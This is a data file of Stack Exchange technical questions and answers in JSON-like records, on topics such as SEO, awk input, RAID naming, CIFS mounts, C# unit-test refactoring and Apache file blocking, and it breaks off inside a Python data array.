{  "id": "_webmaster.82482"  , "question": "I read through the comments and answers to both How bad is it to use display: none in CSS? and Is hidden content (display: none;) -indexed- by search engines?, but I couldn't see anything related to links.If I have a menu load up as Display:None and then show it via JavaScript later will those links in the menu get crawled? Is there an impact on PageRank?It seems as if the answer is yes, it sees them and crawls them and there is no effect on rank flowing through the hidden links... I just can't seem to find a definitive answer."  , "title": "Do links hidden by display:none still pass PageRank"  , "tags": "seo"  , "accepted_answer": "More than likely these links will get crawled and be treated like other links on your site (assuming that you don't nofollow them). However, be sure you are are clear on Google's guidelines around hidden text (see https://support.google.com/webmasters/answer/66353). One thing I've learned the hard way related to this is that you you want to make sure Google can access your CSS and JavaScript files (don't block those files via your robots.txt).Now, all that said, I wouldn't count on Google finding all the pages on your site just because they are in the menu (this is true whether the menu has display:none or not). Make sure the pages are available via links elsewhere on the site, including in the XML sitemap. That way if Google for some reason does not see the display:none links (or, if Google chooses to ignore those links), those pages will still get crawled and indexed (assuming all else being okay with your site of course)."  } 
{  "id": "_unix.55517"  , "question": "Is it possible to get input from both file and the terminal?I wish to ask the user something in the END portion of the awk script.That input should be typed in by the user and not read from the file which had the data to be processed.END {  getline choice  if(choice == Y)    print OK}But choice is read off the input file."  , "title": "awk - get input from both file and STDIN?"  , "tags": "awk;input"  , "accepted_answer": "You can read from /dev/tty or from /dev/stdin.getline choice < /dev/tty/dev/tty is pretty ubiquitous (even one the very few, along with /dev/null and /dev/console to be required by POSIX), /dev/stdin is less common, but at least GNU awk would recognize it as meaning stdin even if the system doesn't have such a device/special file."  } 
{  "id": "_webapps.100945"  , "question": "I would like to export a simple textual conversation with another user on Google through Google Hangouts.I am using a Google Apps account, however, and Google Takeout is disabled. Are there any (dirty or not) workarounds to export the chat data (for example tying an IMAP client to it and reading the Chats folder, though I tried that and it does not work)"  , "title": "Export Google Hangouts chat without using Google Takeout"  , "tags": "google hangouts"  } 
{  "id": "_webapps.16872"  , "question": "I want to build a website which will allow people to migrate from a Yahoo Group, but interaction with the group must still be possible.  To this end I want to have peoples interaction with the group done by the website.The group emails have the reply to address as the users personal email address, not the group address.So the website will need to post users entries to the group with a unique reply to address and then recieve replies to that address so that they can marked as replies to the user that sent them.Is there a way that I can do this?  I considered having a single user on the group for the website and then modifying the reply to address so that it was something like website+<userid>@website.email.com but I'm not sure if the groups can be configured to allow this as a reply to address.  Or perhaps to allow all posts from a particular subdomain so that the reply could be <userid>@website.email.com and all posts from *@website.email.com are allowed.  Can I create users of the group programmatically to support this?"  , "title": "Can I manage Yahoo Groups on behalf of many people?"  , "tags": "yahoo"  } 
{  "id": "_webmaster.15699"  , "question": "I'm curious if anyone has any insight into something: Google seems to have recently changed their algorithm, and now Github repos have basically disappeared from the search results. If I want to try and get a repo to show up on Google again, does anyone have any suggestions for how I might optimize my repo's home page?"  , "title": "Page Rank / Github"  , "tags": "seo;google;ranking"  } 
{  "id": "_unix.199669"  , "question": "Firstly, any advice on improving the title appreciated!I want a webpage to reflect a log file.  I have a bash script that converts the log to html.  Currently this runs periodically via crontab, which works, but obviously executions are redundant when the webpage isn't viewed.  I'd like to implement a system so the bash script runs only called when the webpage is called.I gather an index.php script along the lines:<?php$message=shell_exec(. /path/script.sh);?>.. should generate the index.html file ok.  But is there an easy way to get index.php/Apache to serve that file to the client browser?  Advice much appreciated."  , "title": "Implementing index.php that serves index.html"  , "tags": "apache httpd;php"  } 
{  "id": "_unix.220425"  , "question": "I have a laptop with Linux Slackware. When it's working on battery saving a file to hard drive takes around a second. When I'm writing code I waste a lot of time saving the files.I have about 2 GB of free RAM, so I can use 1 GB as a temporary buffer. And work like this:Load the file into the RAM buffer.Work with the file and save it there.At the end of work the file is moved to the HDD.The problem is that the file is a php script, used by Apache. So, I must somehow make the buffer transparent for it and make it use the RAM file when it's applying to the original file."  , "title": "How to keep the file in RAM"  , "tags": "files;ramdisk"  , "accepted_answer": "I think what you want to do is a bad idea, because in the case of a system crash you'll lose your work.  Anyway, you can use a subdir of /dev/shm to store your files; it's a tmpfs file system, which means it's kept in RAM."  } 
{  "id": "_codereview.123828"  , "question": "In preparing this answer, one of the components was an algorithm to rearrange a sorted array in a particular way.  To put it succinctly, here's the problem description:Given an array \\$A\\$ with \\$n\\$ elements \\$A = \\{ A_1, A_2, A_3, \\dots , A_{n-2}, A_{n-1}, A_{n} \\}\\$ rearrange the contents such that the resulting array is \\$A' = \\{ A_1, A_n, A_2, A_{n-1}, A_3, A_{n-2}, \\dots \\}\\$I decided to create a templated function modeled on std::reverse that only uses two bidirectional iterators.  Here's the templated function:#include <algorithm> template<class BidirIt>void weave(BidirIt first, BidirIt last) {    if ((last - first) < 3) {        return;    }    for (++first; first != last; ++first) {        std::reverse(first, last);    }}This is the code in context with a short test program.testweave.cpp#include <utility>#include <algorithm>#include <iostream>#include <vector>std::ostream& operator<<(std::ostream& out, const std::vector<int>& v) {    if (v.begin() == v.end()) {        return out << {};    }    out << { << *v.begin();    for (auto it = v.begin()+1; it != v.end(); ++it) {        out << ,  << *it;    }    return out << };}#define SHOW(x) std::cout << # x  =  << x << '\\n'template<class BidirIt>void weave(BidirIt first, BidirIt last) {    if ((last - first) < 3) {        return;    }    for (++first; first != last; ++first) {        std::reverse(first, last);    }}int main(){    std::vector<int> v;    for (int i=0; i < 10; ++i) {        std::cout << '\\n';        SHOW(v.size());        SHOW(v);        weave(v.begin(), v.end());        SHOW(v);        v.push_back(i);        std::sort(v.begin(), v.end());    }}I'm particularly interested in whether there is a more efficient algorithm for this."  , "title": "Weaving an array"  , "tags": "c++;algorithm;c++11;array"  , "accepted_answer": "Just glancing at it, this:template<class BidirIt>void weave(BidirIt first, BidirIt last) {    if ((last - first) < 3) {        return;    }...jumped out--although the template parameter seems to imply that you want this to work for bidirectional iterators, the subtraction will only work for a random access iterator. To work for bidirectional iterators, you'll want to use std::distance instead.Although it's only in the test code:std::ostream& operator<<(std::ostream& out, const std::vector<int>& v) {    if (v.begin() == v.end()) {        return out << {};    }...I'd prefer if (v.empty()) {As far as the algorithm goes, yes, there's better. In particular, it looks like your current algorithm is \\$O(N^2)\\$, but it's possible to do the job in \\$O(N)\\$ (as you probably expected).The first step would be to reverse the entire second half of your input. From there you can use an in-place shuffle algorithm. Also see an old answer on SO."  } 
{  "id": "_codereview.46172"  , "question": "I have a completed application which I'm trying to write unit tests for (Yeah I know, talk about bad practices)I have the following class herepublic class UserManagementService : IUserManagementService{        private static readonly IUserDao userDao = DataAccess.UserDao;    private static readonly ILog Log = LogManager.GetLogger(MethodBase.GetCurrentMethod().DeclaringType);    public LoginResponse Login(LoginRequest request)    {        var response = new LoginResponse(request.RequestId);        try        {                var user = userDao.GetByUserId(request.UserId);            if (user != null)            {                                   if (request.Password != )                {                                            if (Authenticate(user, request.Password))                    {                                                  return response;                    }                                            response.ErrorCode = IncorrectPassword;                }                else                {                                           response.ErrorCode = PasswordNotFound;                }            }            else            {                response.ErrorCode = UserNotFound;            }            response.Acknowledge = AcknowledgeType.Failure;            return response;        }        catch (Exception ex)        {            Log.Error(ex);            response.Acknowledge = AcknowledgeType.Failure;            response.ErrorCode = Exception;            return response;        }    }    public bool Authenticate(User user, string password)    {                   if (user == null) return false;        using (var deriveBytes = new Rfc2898DeriveBytes(password, user.Salt))        {            var derivedPassword = deriveBytes.GetBytes(20);            if (!derivedPassword.SequenceEqual(user.Password)) return false;        }        return true;    }    }userDao follows the singleton pattern and this userDao.GetByUserId(request.UserId); basically makes a call to my DBI have written the following test, which will definitely give rise to some issues because I haven't figured how to Mock the userDao, and the Log[Theory][InlineData(manager, manager)]public void LoginTest(string userId, string password){    // Arrange    // System under test    IUserManagementService userService = new UserManagementService();    var request = new LoginRequest().Prepare();    request.UserId = userId;    request.Password = password;    var expectedResponse = new LoginResponse(request.RequestId)            {                Acknowledge = AcknowledgeType.Success            };    //Act    var actualResponse = userService.Login(request);    //Assert    Assert.AreEqual(actualResponse.Acknowledge, expectedResponse.Acknowledge);            }How can I refactor my Login method, and UserManagementService class without breaking too much of its structure to support unit testing so I can inject userDao and Log?Any help would be great to help me kickstart what is going to be a long tedious process of refactoring the rest of my classes.EDIT: This is a WCF service which follows the facade pattern. I have removed the 10 other static DAO similar to userDao to lessen the code clutter for this example."  , "title": "Refactoring method to make it unit testing friendly"  , "tags": "c#;unit testing;dependency injection"  , "accepted_answer": "Following on what Magnus said in comments can you not inject the necessary dependencies.For example:public class UserManagementService : IUserManagementService{        private readonly IUserDao userDao ;    private readonly ILog log;    public UserManagementService(IUserDao userDao, ILog logger)    {       this.userDao = userDao;       this.log = logger;    }    public LoginResponse Login(LoginRequest request)    {       // etc    }  }Now the class has no dependencies on concrete implementations and you can mock the interfaces however you feel.  For example, the ILog interface you might want to mock so it logs to the console only.  The IUserDao interface might be mocked to a internal list implementation or you might use a mocking framework such as Moq."  } 
{  "id": "_softwareengineering.110595"  , "question": "I've been a programmer now for over 11 years, and am just starting to get into version control for real. The places I've worked at have never really used version control (one committed at the end of each day, the others simply haven't bothered). I am not happy with the way that I've been taught to version control (programme.js, programme.js.bak, programme.js.bak.20110901 etc) and so have been teaching myself to use git.I currently use it along with github to keep my .vimrc file current across 4 machines, but I'm never sure when I should consider a change a commit, and when it's just a change which should be included along with another commit. I have started to use it for javascript development too and find it awesomely useful :)My question is: At what point do changes become a commit? As I said, the only company I've worked for who used version control did it at the end of the day - this doesn't seem sensible to me. I feel that they should be more atomic. But my question is how atomic?Is a bug fix for a function enough for a commit? Should I fix three (unrelated) functions and commit them all at once? Should I commit after changing the condition in an if statement? On personal projects, I commit after any change. I personally find that useful, but I don't know if it's bad practice or annoying. How do you do it, how does the industry do it, and what are best practices?(I'm a web developer so work on short projects - perhaps a month long)"  , "title": "git / other VCS - how often to commit?"  , "tags": "version control;git;svn;github;tracking"  , "accepted_answer": "Each individual change should be one commit. A few things to consider:Having stuff committed means that you can roll back. Assume you have a bigger task to be done. You're 50% done, that part looks good so far. Then you continue and break something massively by some mistake. Having the commit in between means you can go back there and didn't loose all of the work.Version control is not a place to dump data and forget. Version control provides a history. Lateron you can use the history, including my favorite annotate feature, to figure out why a change was made (and who is responsible) this often helps. But to work properly the change should be small and self contained.When working in teams it's great to have people reviewing it (actually even when working alone this would be great ;-) ), for a review it's good to have small parts which can be reviewed without being mixed in between unrelated changes.Looking at git specifically: git allows local commits, which don't hurt other, so it can even be acceptable to commit broken code locally and fixing that with a later commit before pushing. The git developers are proud how fast the commit operation works, so just committing locally doesn't really interrupt the development process. Git also allows rewriting commits, so these two (or more) commits might be rewritten into one before being pushed, which might ease review - while rewrites are dangerous and should be done with care (don't rewrite after push etc.)"  } 
{  "id": "_unix.388134"  , "question": "I recently installed a new Debian9 (stretch) machine.Initally it had 2 drives.  I configured them as RAID1 using the Debian installer, and it gave me a /dev/md0 with /etc/mdadm/mdadm.conf (extract):# definitions of existing MD arraysARRAY /dev/md/0  metadata=1.2 UUID=3d21d0e0:2758c58e:962b5191:98e225c1 name=MYHOSTNAME:0and /proc/mdstat showing:md0 : active raid1 sda1[0] sdb1[1]      488253440 blocks super 1.2 [2/2] [UU]      bitmap: 0/4 pages [0KB], 65536KB chunk(and that device formatted as ext4 and mounted by UUID as '/' in /etc/fstab).  All works fine, as expected.Later I added a couple more even bigger drives, partitioned them (with a small swap parition on each first) and configured them using mdadm -C -n 2 -l raid1 /dev/md1 /dev/sdc2 /dev/sdd2 (that's definitely what I did because it's still in my root's shell history, along with a couple of subsequent mdadm --examine /dev/md1 and mdadm --detail --verbose /dev/md1).  I also added a line to /etc/mdadm/mdadm.conf (just following the pattern for the initial device):ARRAY /dev/md/1  metadata=1.2 UUID=47492bd7:08d1fd1c:418dad41:2aa7d77f name=MYHOSTNAME:1And of course I ext4-formatted the device and added a UUID-based entry to /etc/fstab to mount this at my chosen /data mount point.That all seems to be working fine, and after multiple reboots of the machine too, and I have happily been doing huge rsyncs to the new disks.  However today I happened to glance at etc/mtab and /proc/mdstat and I notice my /dev/md1 seems to have disappeared and morphed into a /dev/md127 (in /proc/mdstat) and/or a /dev/md127p1 in /etc/mtab:/proc/mdstat:md127 : active raid1 sdc2[0] sdd2[1]      3904788480 blocks super 1.2 [2/2] [UU]      bitmap: 2/30 pages [8KB], 65536KB chunkmd0 : active raid1 sda1[0] sdb1[1]      488253440 blocks super 1.2 [2/2] [UU]      bitmap: 0/4 pages [0KB], 65536KB chunk/etc/mtab (selected lines):/dev/md0 / ext4 rw,relatime,errors=remount-ro,data=ordered 0 0/dev/md127p1 /data ext4 rw,relatime,errors=remount-ro,data=ordered 0 0It all still seems to be working fine, but what the heck happened there?  I've configured RAID1 in much the same way on a couple of other machines before (admittedly many years ago) and there the raid arrays just ended up called /dev/md0 and /dev/md1.  Where did this 127 come from and what's the difference between /dev/md127 and /dev/md127p1?  Is there some way I can rename them (both?) to /dev/md1, or is this something I'm stuck with?"  , "title": "Why is what was /dev/md1 when I created it now apparently called /dev/md127 or /dev/md127p1?"  , "tags": "debian;raid;software raid"  } 
{  "id": "_unix.293966"  , "question": "My log files are getting dumped with following message while running shell scripts using some underlying MySQL commands.Here is the message:Warning: Using a password on the command line interface can be insecure.To stop these messages, I am using the following job definition.Example:run_wrapper.sh |grep -v Warning: Using a password > output.log 2>&1This worked but the MySQL errors are not being logged to output.log.If I change the definition like the following, then MySQL errors start appearing if anyrun_wrapper.sh > output.log 2>&1So the question is how to suppress the warning messages and also report SQL errors in log files using only the cron definition?"  , "title": "Suppress warning messages from MySQL in shell script but allow errors"  , "tags": "shell script;logs;io redirection;mysql"  } 
{  "id": "_webmaster.35103"  , "question": "Preferably using .htaccess files, though .conf files are an option, is there any way to stop Apache serving certain filetypes? For example, .db shouldn't be served for obvious reason (privacy and whatnot, etc.), so could I make them show as a 404 but still have them available for my CGI scripts?Putting these sensitive files in a directory other than /public_HTML/ is also an option, though I like having them in the same directory as the scripts for ease of use.Cheers"  , "title": "Stop Apache serving filetypes"  , "tags": "apache;htaccess;webserver;httpd.conf"  , "accepted_answer": "I would have said that placing these sensitive files above the document root would be preferable. And perhaps easier to manage if they are all contained in a particular directory, however...Using .htaccess to prevent access to all .db and .exe files and return a 403 - Forbidden.<Files ~ \\.(db|exe)$>Deny from all</Files>Unless you have a specific requirement, I would have thought a 403 would be better than a 404 in this instance, and this would seem more natural for Apache. To return a 404 here would require additional code."  } 
{  "id": "_softwareengineering.347297"  , "question": "Specifically for ReactJS and responsive frameworks that show/hide elements based on width like Bootstrap.Because ReactJS has a virtual DOM I am presuming doing the DOM manipulation is faster and in the end a bit easier to debug because you are not trying to think which parts are display:none and there are less elements to debug.  It was also easier to me to think that way because of my programming background rather than CSS.I haven't dealt with too much performance testing yet on ReactJS (that's a few chapters down) but what is better from an engineering standpoint.Code wise it looks like this...constructor(props) {    super(props)    this.updateStatesBasedOnWindowSize =      this.updateStatesBasedOnWindowSize.bind(this)    this.state = {        smallDeviceNavigation: false,        sideNavVisible: false,    }}componentWillMount() {    this.updateStatesBasedOnWindowSize()}componentDidMount() {    window.addEventListener(resize, this.updateStatesBasedOnWindowSize)}componentWillUnmount() {    window.removeEventListener(resize, this.updateStatesBasedOnWindowSize)}/** * This will trigger a state change based on the device size. */updateStatesBasedOnWindowSize() {    const w = window,        d = document,        documentElement = d.documentElement,        body = d.getElementsByTagName('body')[0],        width = w.innerWidth ||                 documentElement.clientWidth || body.clientWidth    if (width >= 576) {        if (this.state.smallDeviceNavigation) {            this.setState({ smallDeviceNavigation: false })        }        if (!this.state.sideNavVisible) {            this.setState({ sideNavVisible: true })        }    } else {        if (!this.state.smallDeviceNavigation) {            // Force hide the side             // nav if the smallDeviceNavigation was false before.            this.setState({ sideNavVisible: false })        }        if (!this.state.smallDeviceNavigation) {            this.setState({ smallDeviceNavigation: true })        }    }}Then in the components I just check this.state accordingly.  I get the advantage that I am dealing with the state based on a logical name rather than physical widths and breakpoints I am not dealing with.Mind you this is for show/hide hence I emphasized it earlier.  Layouts based on CSS I just left alone and let bootstrap grid deal with it.  But menus and navs I did the DOM manipulation."  , "title": "React DOM manipulation vs CSS for responsive breakpoints?"  , "tags": "css;reactjs;dom"  } 
{  "id": "_unix.367884"  , "question": "I have had a couple of directories mounted remotely from a Debian Jessie in a Windows share for a few months.In the last weeks, I been having complaints of random disconnects from the mount, and had to do asudo mount -ato regain the mount connectivity a couple of times (the server is used once or twice a week).e.g. the mounts are not recovering often after some period without being used.The Windows administrator also told me the Windows server has not been rebooted for a while.Today, coincidentally when doing mount -a again, it only worked in the 2nd try, while the first try gave the following error:sudo mount -amount error(104): Connection reset by peerRefer to the mount.cifs(8) manual page (e.g. man mount.cifs)mount error(112): Host is downRefer to the mount.cifs(8) manual page (e.g. man mount.cifs)The directories are mounted from /etc/fstab as such://10.2.1.2/XX/ZZ/YY    /mnt/mount_point        cifs    credentials=/root/.smbcredentials,iocharset=utf8,file_mode=0770,dir_mode=0770,uid=1001,gid=1001 0 0When doing a mount command, you can also see the option echo_interval is activated by default at 60 minutes.$mount//10.2.1.2/XX/ZZ/YY on /mnt/mount_point type cifs (rw,relatime,vers=1.0,cache=strict,username=someusername,domain=XXX,uid=1001,forceuid,gid=1001,forcegid,addr=10.2.1.2,file_mode=0770,dir_mode=0770,nounix,serverino,mapposix,rsize=61440,wsize=65536,echo_interval=60,actimeo=1)What to do?"  , "title": "CIFS randomly losing connection to Windows share"  , "tags": "debian;cifs"  , "accepted_answer": "I found an interesting related post here cifs mounted folder keeps disconnecting (ubuntu server) talking of a similar problem (same error, Samba shares).The relevant tidbit here for following the rest of the answer is that CIFS mounts use the SMBv1.0 protocol by default, as can be verified issuing the mountcommand, and paying attention to the vers=1.0 field.$mount//10.2.1.2/XX/ZZ/YY on /mnt/mount_point type cifs (rw,relatime,vers=1.0,cache=strict,username=someusername,domain=XXX,uid=1001,forceuid,gid=1001,forcegid,addr=10.2.1.2,file_mode=0770,dir_mode=0770,nounix,serverino,mapposix,rsize=61440,wsize=65536,echo_interval=60,actimeo=1)I also found in Stack Overflow the post Mount CIFS Host is downThis could be also because of protocol mismatch. In 2017 Microsoft  patched Windows Servers and advised to disable the SMB1 protocol.From now on, mount.cifs might have problems with protocol negotiation.The error displayed is Host is down. but when you do debug with:smbclient -L <server_ip> -U <username> -d 256 you will get the error: protocol negotiation failed: NT_STATUS_CONNECTION_RESETThe posts mentions that Windows patches to the protocol/Wannacry and others, are messing up with/or more exactly, some people disabled v1 CIFS requests funcionality; similar problems have been happening on the Windows front, and, given the timings, it makes me suspect the problem must be related. We have not disabled v1 CIFS in this specific server, AFAIK (and testing confirms this), however the MS bulletins suggest the default SMBv1 behaviour was (slightly) changed.I ended up following the general idea suggested in the mentioned Samba question. From man mounts.cifs:vers=         SMB protocol version. Allowed values are:      1.0 - The classic CIFS/SMBv1 protocol. This is the default.      2.0 - The SMBv2.002 protocol. This was initially introduced in Windows Vista Service Pack 1, and Windows Server 2008. Note thatthe initial release             version of Windows Vista spoke a slightly different dialect (2.000) that is not supported.      2.1 - The SMBv2.1 protocol that was introduced in Microsoft Windows 7 and Windows Server 2008R2.      3.0 - The SMBv3.0 protocol that was introduced in Microsoft Windows 8 and Windows Server 2012.   Note too that while this option governs the protocol version used, not all features of each version are available.--verbose         Print additional debugging information for the mount. Note that this parameter must be specified before the -o. For example:   mount -t cifs //server/share /mnt --verbose -o user=usernameAs seen by the manual, in recent Windows versions after Windows 8  using at least vers=2.0 may make more sense; the alternative syntax in the  command line with the --verbose option that is mentioned is also be  useful to further debug any complication that may arise.As such, as the Windows server which I am mounting stuff from on this question is a Windows server 2008 R2, I put in /etc/fstab://10.2.1.2/XX/ZZ/YY    /mnt/mount_point        cifs    credentials=/root/.smbcredentials,iocharset=utf8,file_mode=0770,dir_mode=0770,uid=1001,gid=1001,vers=2.1 0 0Then remounted it for the option to take effect:sudo mount -o remount /mnt/mount_pointNow we verify with mount again to confirm the negotiated protocol:$mount//10.2.1.2/XX/ZZ/YY on /mnt/mount_point type cifs (rw,relatime,vers=2.1,cache=strict,username=someusername,domain=XXX,uid=1001,forceuid,gid=1001,forcegid,addr=10.2.1.2,file_mode=0770,dir_mode=0770,nounix,serverino,mapposix,rsize=61440,wsize=65536,echo_interval=60,actimeo=1)And we can confirm we modified successfully the SMB protocol being used.See also MS Developer Network - [MS-SMB2]: Versioning and Capability Negotiation - 1.7 Versioning and Capability NegotiationIt should also be noted CIFS v1.0 besides obsolete is extremely inefficient and insecure compared to newer versions of the protocol.From MS blogs - Stop using SMB1SMB1 isnt modern or efficient  When you use SMB1, you lose key  performance and productivity optimizations for end users.Larger reads and writes (2.02+)- more efficient use of faster networks  or higher latency WANs. Large MTU support. Peer caching of folder and  file properties (2.02+)  clients keep local copies of folders and  files via BranchCache Durable handles (2.02, 2.1)  allow for  connection to transparently reconnect to the server if there is a  temporary disconnection Client oplock leasing model (2.02+)  limits  the data transferred between the client and server, improving  performance on high-latency networks and increasing SMB server  scalability Multichannel & SMB Direct (3.0+)  aggregation of network  bandwidth and fault tolerance if multiple paths are available between  client and server, plus usage of modern ultra-high throughout RDMA  infrastructure Directory Leasing (3.0+)  Improves application  response times in branch offices through cachingInterestingly enough, this last articles suggests the disconnections problems are less likely to appear after a disconnection (Durable handles) if using a protocol >= 2.01, so I would stress again to not continue using CIFS v1.0. ( e.g while in 1.0 echo_interval=60 does keep it connected, if there is a network glitch or some other server interruption the mount wont recover itself without manual intervention while using the CIFS v1.0, I suspect)As a last piece of advice, avoid doing sudo mount -a and start doing:sudo mount -o remount -aSee my question also CIFS mounting multiple copies of the same share on the same mount point"  } 
{  "id": "_vi.5624"  , "question": "I just learned about tabs, meaning I can open them via:tabe some/file:tabe yet/another/file:tabe fooand circle them via gt (activate right one) and gT (activate left one).Yet when I close my vim instance via quit-all :qa, all my tabs are gone. How can I restore them all when entering vim again?"  , "title": "How do I restore a group of tabs?"  , "tags": "sessions"  } 
{  "id": "_webmaster.61609"  , "question": "From an SEO point-of-view, which version is better:<input type=text name=q value=search />or<input type=text name=query value=search />Here's another example:<input type=text name=e value=email />or<input type=text name=email value=email />In other words: Does Google use the HTML input name attribute?"  , "title": "Using the HTML input name attribute and SEO"  , "tags": "seo;google;html"  , "accepted_answer": "There is no SEO value in this. This is not content. Use form names that makes the server side programming cleaner and easier to manage. This is way over-thinking SEO."  } 
{  "id": "_softwareengineering.150699"  , "question": "According to section 11.2 of the App Store Review Guidelines,Apps utilizing a system other than the In App Purchase API (IAP) to purchase content, functionality, or services in an app will be rejected.Various apps like JetSetter, Gilt, and Kayak include in-app purchasing flows that either collect credit card information directly, or use a UIWebView to direct the user to a third-party website to purchase goods and services.What provision allows apps to do this, and what are the limitations to purchasing physical goods and services in an iPhone app without using IAP?"  , "title": "How do certain iPhone apps allow purchases without IAP?"  , "tags": "iphone"  , "accepted_answer": "It's all spelled out pretty clearly in the developer agreement, I think. If I remember correctly, you must use IAP to purchase content for your app, and you must not use IAP to purchase real-world goods and services. I haven't looked at the apps you mention, but a service like Kayak is surely selling real-world services (flights, hotel stays, etc.) rather than app content."  } 
{  "id": "_softwareengineering.337132"  , "question": "OutlineI have an application that loads data from a database.  I'm not talking about client data here though, I'm talking about application configuration.  The database will therefore come with some default setup, which I want to remain unchanged so that future updates can just be imported and overwrite that setup.I would like for the client to be able to overwrite certain parts of that setup and/or add to it and/or remove from it (which probably won't actually be removed, just marked as deleted/disable).  But I'd like a department and a user to also be able to do this and I'd also like for the most relevant changes to be loaded from the database.Essential RequirementsThe database contains standard application setup that cannot (or will not) be changed.The database stores changes based on company, department or user that provide modifications to the standard setup.  These might be added configuration, or modifications to existing configuration or the disabling of standard configuration.My best effortA table with a combined primary key from two columns: [Id] and [Scope].  [Scope] determines whether or not it is the default setup, a company record, a department code or a user code.  The [Id] can therefore be the same for each allowing each level of the client to have their own configuration of that same record.  For example:Id | Scope | Name         | Other columns...============================== 1 |    -1 | MyApp        | ...             <- Default record 1 |     0 | Company Name | ...             <- Company record 1 |     1 | Department X | ...             <- Department record 1 |   101 | User X       | ...             <- User recordI really don't like this approach, I have to create a view that groups all the same Ids and then picks the most relevant record based on the type (i.e. if there is no user record, then use the department record, if no department then use the company and if no company then use the default).A lot of the information doesn't really change within the record either, maybe one or two columns (sometimes more though) and it seems wasteful to store the same data over and over again.RequestI'm really looking for ideas from people about how better to store and organise this kind of setup please?"  , "title": "How to set up a sql database to cater for user records, group records and default records?"  , "tags": "design;design patterns;database design;sql server"  } 
{  "id": "_webapps.41863"  , "question": "While in Basecamp classic you were able to mark todo-lists or messages as private (only visible by your company), it seems that there's no such feature in the all-new version of Basecamp.I know that you can set permissions for whole projects in way that only your company is able to access the project and that you can move whole todo-lists to another project. But that's an annoying and complicated workflow.Is there another easy workflow which simulates the Private Items feature from Basecamp classic?"  , "title": "Is there something like private items in Basecamp?"  , "tags": "privacy;collaboration;basecamp"  , "accepted_answer": "Note: This has been implemented to the new basecamp a while ago (in 2013)."  } 
{  "id": "_unix.189930"  , "question": "I have upgraded my Ubuntu VM from 13.10 to 14.04.2 LTS. When I log in, it keeps telling me that a new release 14.04.2 LTS is available:Welcome to Ubuntu 14.04.2 LTS (GNU/Linux 3.11.0-18-generic x86_64) * Documentation:  https://help.ubuntu.com/Your Ubuntu release is not supported anymore.For upgrade information, please visit:http://www.ubuntu.com/releaseendoflifeNew release '14.04.2 LTS' available.Run 'do-release-upgrade' to upgrade to it.I used do-release-upgrade to upgrade.How do I get rid of this message?Also, I was connected via SSH and after the installation it said it completed, but with errors, allthough I couldn't find any in the buffer of the PuTTY terminal. Where can I find the logs of the installation?"  , "title": "Ubuntu 14.04.2 LTS keeps telling that a new release is available"  , "tags": "upgrade"  } 
{  "id": "_datascience.11531"  , "question": "I have a problem with using neurolab python library: I'm trying to predict some time-series with help of Elman recurrent neural network:import neurolab as nlimport numpy as np# Create train samples# x = np.linspace(-7, 7, 20)x = [0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7, 1.8, 1.9, 2, 2.1, 2.2, 2.3, 2.4, 2.5, 2.6, 2.7, 2.8, 2.9, 3, 3.1, 3.2, 3.3, 3.4, 3.5, 3.6, 3.7, 3.8, 3.9, 4, 4.1, 4.2, 4.3, 4.4, 4.5, 4.6, 4.7, 4.8, 4.9, 5, 5.1, 5.2, 5.3, 5.4, 5.5, 5.6, 5.7, 5.8, 5.9, 6, 6.1, 6.2, 6.3, 6.4, 6.5, 6.6, 6.7, 6.8, 6.9, 7, 7.1, 7.2, 7.3, 7.4, 7.5, 7.6, 7.7, 7.8, 7.9, 8, 8.1, 8.2, 8.3, 8.4, 8.5, 8.6, 8.7, 8.8, 8.9, 9, 9.1, 9.2, 9.3, 9.4, 9.5, 9.6, 9.7, 9.8, 9.9, 10, 10.1, 10.2, 10.3, 10.4, 10.5, 10.6, 10.7, 10.8, 10.9, 11, 11.1, 11.2, 11.3, 11.4, 11.5, 11.6, 11.7, 11.8, 11.9, 12, 12.1, 12.2, 12.3, 12.4, 12.5, 12.6, 12.7, 12.8, 12.9, 13, 13.1, 13.2, 13.3, 13.4, 13.5, 13.6, 13.7, 13.8, 13.9, 14, 14.1, 14.2, 14.3, 14.4, 14.5, 14.6, 14.7, 14.8, 14.9, 15, 15.1, 15.2, 15.3, 15.4, 15.5, 15.6, 15.7, 15.8, 15.9, 16, 16.1, 16.2, 16.3, 16.4, 16.5, 16.6, 16.7, 16.8, 16.9, 17, 17.1, 17.2, 17.3, 17.4, 17.5, 17.6, 17.7, 17.8, 17.9, 18, 18.1, 18.2, 18.3, 18.4, 18.5, 18.6, 18.7, 18.8, 18.9, 19, 19.1, 19.2, 19.3, 19.4, 19.5, 19.6, 19.7, 19.8, 19.9]x=np.asarray(x)y = [0.000, 0.296, 0.407, 0.488, 0.552, 0.607, 0.655, 0.697, 0.734, 0.769, 0.800, 0.829, 0.855, 0.880, 0.903, 0.925, 0.945, 0.964, 0.982, 0.998, 1.014, 1.029, 1.043, 1.057, 1.069, 1.081, 1.092, 1.103, 1.113, 1.123, 1.132, 1.141, 1.149, 1.157, 1.164, 1.171, 1.177, 1.184, 1.189, 1.195, 1.200, 1.205, 1.209, 1.214, 1.218, 1.221, 1.225, 1.228, 1.231, 1.234, 1.236, 1.238, 1.240, 1.242, 1.244, 1.245, 1.246, 1.247, 1.248, 1.249, 1.249, 1.250, 1.250, 1.250, 1.250, 1.250, 1.249, 1.248, 1.248, 1.247, 1.246, 1.245, 1.243, 1.242, 1.240, 1.239, 1.237, 1.235, 1.233, 1.231, 1.228, 1.226, 1.224, 1.221, 1.218, 1.215, 1.213, 1.210, 1.206, 1.203, 1.200, 1.197, 1.193, 1.190, 1.186, 1.182, 1.178, 1.174, 1.170, 1.166, 1.162, 1.158, 1.154, 1.149, 1.145, 1.140, 1.136, 1.131, 1.126, 1.122, 1.117, 1.112, 1.107, 1.102, 1.096, 1.091, 1.086, 1.081, 1.075, 1.070, 1.064, 1.059, 1.053, 1.047, 1.041, 1.036, 1.030, 1.024, 1.018, 1.012, 1.006, 0.999, 0.993, 0.987, 0.981, 0.974, 0.968, 0.961, 0.955, 0.948, 0.942, 0.935, 0.928, 0.922, 0.915, 0.908, 0.901, 0.894, 0.887, 0.880, 0.873, 0.866, 0.859, 0.852, 0.844, 0.837, 0.830, 0.822, 0.815, 0.807, 0.800, 0.792, 0.785, 0.777, 0.770, 0.762, 0.754, 0.747, 0.739, 0.731, 0.723, 0.715, 0.707, 0.699, 0.691, 0.683, 0.675, 0.667, 0.659, 0.651, 0.643, 0.634, 0.626, 0.618, 0.610, 0.601, 0.593, 0.584, 0.576, 0.567, 0.559, 0.550, 0.542, 0.533, 